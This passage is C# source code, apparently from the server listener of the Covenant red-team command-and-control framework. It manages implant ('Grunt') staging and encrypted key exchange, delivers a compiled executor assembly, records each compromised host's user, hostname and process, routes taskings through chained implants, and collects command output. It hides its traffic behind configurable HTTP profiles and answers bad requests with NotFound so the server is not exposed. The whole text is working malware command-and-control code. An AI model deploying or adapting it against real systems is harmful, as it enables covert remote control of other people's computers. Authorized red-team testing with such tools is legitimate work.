// Convenience method for decrypting an EncryptedMessagePacket public static byte[] AesDecrypt(ModelUtilities.GruntEncryptedMessage encryptedMessage, byte[] key) { return(AesDecrypt( Convert.FromBase64String(encryptedMessage.IV).Concat(Convert.FromBase64String(encryptedMessage.EncryptedMessage)).ToArray(), key )); }
private ModelUtilities.GruntEncryptedMessage CreateMessageForGrunt(Grunt grunt, Grunt targetGrunt, byte[] message) { List <string> path = _client.ApiGruntsByIdPathByCidGet(grunt.Id ?? default, targetGrunt.Id ?? default).ToList(); path.Reverse(); ModelUtilities.GruntEncryptedMessage finalMessage = null; ModelUtilities.GruntEncryptedMessageType messageType = ModelUtilities.GruntEncryptedMessageType.Tasking; foreach (string guid in path) { Grunt thisGrunt = _client.ApiGruntsGuidByGuidGet(guid); finalMessage = ModelUtilities.GruntEncryptedMessage.Create( thisGrunt, message, messageType ); message = Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(finalMessage)); messageType = ModelUtilities.GruntEncryptedMessageType.Routing; } return(finalMessage); }
private async Task <ActionResult> RegisterGrunt(Grunt egressGrunt, Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntMessage) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage2 || !gruntMessage.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (egressGrunt == null) { egressGrunt = targetGrunt; } string message = Common.CovenantEncoding.GetString(_utilities.GruntSessionDecrypt(targetGrunt, gruntMessage)); // todo: try/catch on deserialize? Grunt grunt = JsonConvert.DeserializeObject <Grunt>(message); targetGrunt.IpAddress = grunt.IpAddress; targetGrunt.Hostname = grunt.Hostname; targetGrunt.OperatingSystem = grunt.OperatingSystem; targetGrunt.UserDomainName = grunt.UserDomainName; targetGrunt.UserName = grunt.UserName; targetGrunt.Status = GruntStatus.Active; targetGrunt.Integrity = grunt.Integrity; targetGrunt.Process = grunt.Process; targetGrunt.LastCheckIn = DateTime.UtcNow; await _client.ApiGruntsPutAsync(targetGrunt); GruntTaskingMessage tasking = new GruntTaskingMessage { Message = targetGrunt.Guid, Name = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10), Type = GruntTaskingType.Jobs, Token = false }; ModelUtilities.GruntEncryptedMessage responseMessage; try { responseMessage = this.CreateMessageForGrunt(egressGrunt, targetGrunt, tasking); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage))); // Format transformed response string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed); return(Ok(response)); }
public async Task <ActionResult> PostStage2(Grunt egressGrunt, Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntStage2Response) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage1 || !gruntStage2Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (egressGrunt == null) { egressGrunt = targetGrunt; } byte[] challenge2test = _utilities.GruntSessionDecrypt(targetGrunt, gruntStage2Response); if (targetGrunt.GruntChallenge != Convert.ToBase64String(challenge2test)) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } targetGrunt.Status = GruntStatus.Stage2; targetGrunt.LastCheckIn = DateTime.UtcNow; await _client.ApiGruntsPutAsync(targetGrunt); string GruntExecutorAssembly = this._utilities.ListenerCompileGruntExecutorCode(_context.HttpListener.First(), targetGrunt, _context.HttpProfile.First()); ModelUtilities.GruntEncryptedMessage message; try { message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, Convert.FromBase64String(GruntExecutorAssembly)); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed); // returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)" return(Ok(response)); }
private async Task <ActionResult> PostStage1(Grunt egressGrunt, Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntStage1Response) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage0 || !gruntStage1Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (egressGrunt == null) { egressGrunt = targetGrunt; } byte[] challenge1 = _utilities.GruntSessionDecrypt(targetGrunt, gruntStage1Response); byte[] challenge2 = new byte[4]; using (RandomNumberGenerator rng = RandomNumberGenerator.Create()) { rng.GetBytes(challenge2); } // Save challenge to compare on response targetGrunt.GruntChallenge = Convert.ToBase64String(challenge2); targetGrunt.Status = GruntStatus.Stage1; targetGrunt.LastCheckIn = DateTime.UtcNow; await _client.ApiGruntsPutAsync(targetGrunt); ModelUtilities.GruntEncryptedMessage message; try { message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, challenge1.Concat(challenge2).ToArray()); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed); // Stage1Response: "Base64(IV),Base64(AES(challenge1 + challenge2)),Base64(HMAC)" return(Ok(response)); }
private async Task <ActionResult> PostStage0(Grunt egressGrunt, Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntStage0Response) { if (targetGrunt == null || !gruntStage0Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } bool egressGruntExists = egressGrunt != null; string guid = gruntStage0Response.GUID.Substring(10); if (targetGrunt.Status != GruntStatus.Uninitialized) { // We create a new Grunt if this one is not uninitialized Grunt tempModel = new Grunt { Id = 0, Name = Utilities.CreateShortGuid(), Guid = guid, OriginalServerGuid = Utilities.CreateShortGuid(), Status = GruntStatus.Stage0, ListenerId = targetGrunt.ListenerId, Listener = targetGrunt.Listener, GruntSharedSecretPassword = targetGrunt.GruntSharedSecretPassword, CommType = targetGrunt.CommType, SmbPipeName = targetGrunt.SmbPipeName, Delay = targetGrunt.Delay, JitterPercent = targetGrunt.JitterPercent, KillDate = targetGrunt.KillDate, ConnectAttempts = targetGrunt.ConnectAttempts, DotNetFrameworkVersion = targetGrunt.DotNetFrameworkVersion, LastCheckIn = DateTime.UtcNow }; targetGrunt = await _client.ApiGruntsPostAsync(tempModel); } else { targetGrunt.Status = GruntStatus.Stage0; targetGrunt.Guid = guid; targetGrunt.LastCheckIn = DateTime.UtcNow; targetGrunt = await _client.ApiGruntsPutAsync(targetGrunt); } if (!egressGruntExists) { egressGrunt = targetGrunt; } // EncryptedMessage is the RSA Public Key targetGrunt.GruntRSAPublicKey = Convert.ToBase64String(EncryptUtilities.AesDecrypt( gruntStage0Response, Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword) )); // Generate negotiated session key Aes newAesKey = Aes.Create(); newAesKey.GenerateKey(); targetGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key); await _client.ApiGruntsPutAsync(targetGrunt); if (egressGruntExists) { // Add this as Child grunt to Grunt that connects it List <GruntTasking> taskings = _client.ApiTaskingsGet().ToList(); // TODO: Finding the connectTasking this way could cause race conditions, should fix w/ guid of some sort? GruntTasking connectTasking = taskings.Where(GT => GT.Type == GruntTaskingType.Connect && GT.Status == GruntTaskingStatus.Progressed).Reverse().FirstOrDefault(); if (connectTasking == null) { return(NotFound()); } GruntTaskingMessage tmessage = this.GetGruntTaskingMessage(connectTasking, targetGrunt.DotNetFrameworkVersion); targetGrunt.Hostname = tmessage.Message.Split(",")[0]; await _client.ApiGruntsPutAsync(targetGrunt); connectTasking.Status = GruntTaskingStatus.Completed; await _client.ApiTaskingsPutAsync(connectTasking); } byte[] rsaEncryptedBytes = EncryptUtilities.GruntRSAEncrypt(targetGrunt, Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)); ModelUtilities.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, rsaEncryptedBytes); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed); // Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)" return(Ok(response)); }
// post task private async Task <ActionResult> PostTask(Grunt egressGrunt, Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage outputMessage, string guid) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Active || egressGrunt == null || egressGrunt.Guid != guid) { // Invalid GUID. May not be legitimate Grunt request, respond NotFound return(NotFound()); } string TaskName = outputMessage.Meta; if (string.IsNullOrWhiteSpace(TaskName)) { // Invalid task response. This happens on post-register write return(NotFound()); } GruntTasking gruntTasking; try { gruntTasking = await _client.ApiGruntsTaskingsByTaskingnameGetAsync(TaskName); } catch (HttpOperationException) { // Invalid taskname. May not be legitimate Grunt request, respond NotFound return(NotFound()); } if (targetGrunt == null || targetGrunt.Status != GruntStatus.Active) { // Invalid Grunt. May not be legitimate Grunt request, respond NotFound return(NotFound()); } if (!outputMessage.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Invalid signature. Almost certainly not a legitimate Grunt request, respond NotFound return(NotFound()); } string taskOutput = Common.CovenantEncoding.GetString(_utilities.GruntSessionDecrypt(targetGrunt, outputMessage)); gruntTasking.GruntCommand.CommandOutput = new CommandOutput { Id = 0, GruntCommandId = gruntTasking.GruntCommandId, Output = taskOutput }; gruntTasking.GruntCommand.CommandOutputId = 0; gruntTasking.Status = GruntTaskingStatus.Completed; gruntTasking.CompletionTime = DateTime.UtcNow; gruntTasking.GruntCommand = await _client.ApiCommandsPutAsync(gruntTasking.GruntCommand); await _client.ApiTaskingsPutAsync(gruntTasking); targetGrunt.LastCheckIn = DateTime.UtcNow; await _client.ApiGruntsPutAsync(targetGrunt); return(Ok()); }
public async Task <ActionResult <string> > Post() { try { this.SetHeaders(); using (StreamReader reader = new StreamReader(Request.Body, System.Text.Encoding.UTF8)) { ModelUtilities.GruntEncryptedMessage message = null; try { string body = reader.ReadToEnd(); string ExtractedMessage = body.ParseExact(_context.HttpProfile.First().HttpPostRequest).FirstOrDefault(); string inverted = Common.CovenantEncoding.GetString(this._utilities.ProfileInvert(_context.HttpProfile.First(), ExtractedMessage)); message = JsonConvert.DeserializeObject <ModelUtilities.GruntEncryptedMessage>(inverted); } catch (Exception) { // Request not formatted correctly. May not be legitimate Grunt request, respond NotFound return(NotFound()); } string guid = this.GetGuid(); Grunt egressGrunt = null; Grunt targetGrunt = null; try { egressGrunt = guid == null ? null : await _client.ApiGruntsGuidByGuidGetAsync(guid); } catch (HttpOperationException) { egressGrunt = null; } try { targetGrunt = await _client.ApiGruntsGuidByGuidGetAsync(message.GUID); } catch (HttpOperationException) { targetGrunt = null; // Stage0 Guid is OriginalServerGuid + Guid if (message.GUID.Length == 20) { Grunt originalGeneratedGrunt = await _client.ApiGruntsOriginalguidByServerguidGetAsync(message.GUID.Substring(0, 10)); return(await this.PostStage0(egressGrunt, originalGeneratedGrunt, message)); } return(NotFound()); } switch (targetGrunt.Status) { case GruntStatus.Uninitialized: return(await this.PostStage0(egressGrunt, targetGrunt, message)); case GruntStatus.Stage0: return(await this.PostStage1(egressGrunt, targetGrunt, message)); case GruntStatus.Stage1: return(await this.PostStage2(egressGrunt, targetGrunt, message)); case GruntStatus.Stage2: return(await this.RegisterGrunt(egressGrunt, targetGrunt, message)); case GruntStatus.Active: return(await this.PostTask(egressGrunt, targetGrunt, message, guid)); default: return(NotFound()); } } } catch (HttpOperationException) { return(NotFound()); } }
public async Task <ActionResult <string> > Get() { try { this.SetHeaders(); string guid = this.GetGuid(); if (string.IsNullOrEmpty(guid)) { // Invalid GUID. May not be legitimate Grunt request, respond Ok return(Ok()); } Grunt grunt = null; try { grunt = await _client.ApiGruntsGuidByGuidGetAsync(guid); } catch (HttpOperationException) { grunt = null; } if (grunt == null || grunt.Status != GruntStatus.Active) { // Invalid GUID. May not be legitimate Grunt request, respond Ok return(Ok()); } grunt.LastCheckIn = DateTime.UtcNow; await _client.ApiGruntsPutAsync(grunt); GruntTasking gruntTasking = (await _client.ApiGruntsByIdTaskingsSearchUninitializedGetAsync(grunt.Id ?? default)).FirstOrDefault(); if (gruntTasking == null) { // No GruntTasking assigned. Respond with empty template return(Ok(this.GetGetEmptyResponse())); } if (gruntTasking.Type == GruntTaskingType.Assembly && gruntTasking.GruntTask == null) { // Can't find corresponding task. Should never reach this point. Will just respond NotFound. return(NotFound()); } gruntTasking.Status = GruntTaskingStatus.Tasked; gruntTasking.TaskingTime = DateTime.UtcNow; gruntTasking = await _client.ApiTaskingsPutAsync(gruntTasking); gruntTasking.Grunt = gruntTasking.GruntId == grunt.Id ? grunt : await _client.ApiGruntsByIdGetAsync(gruntTasking.GruntId); ModelUtilities.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(grunt, gruntTasking.Grunt, this.GetGruntTaskingMessage(gruntTasking, gruntTasking.Grunt.DotNetFrameworkVersion)); } catch (HttpOperationException) { gruntTasking.Status = GruntTaskingStatus.Aborted; await _client.ApiTaskingsPutAsync(gruntTasking); return(NotFound()); } // Transform response string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed); return(Ok(response)); } catch (HttpOperationException) { return(NotFound()); } catch (Exception) { return(NotFound()); } }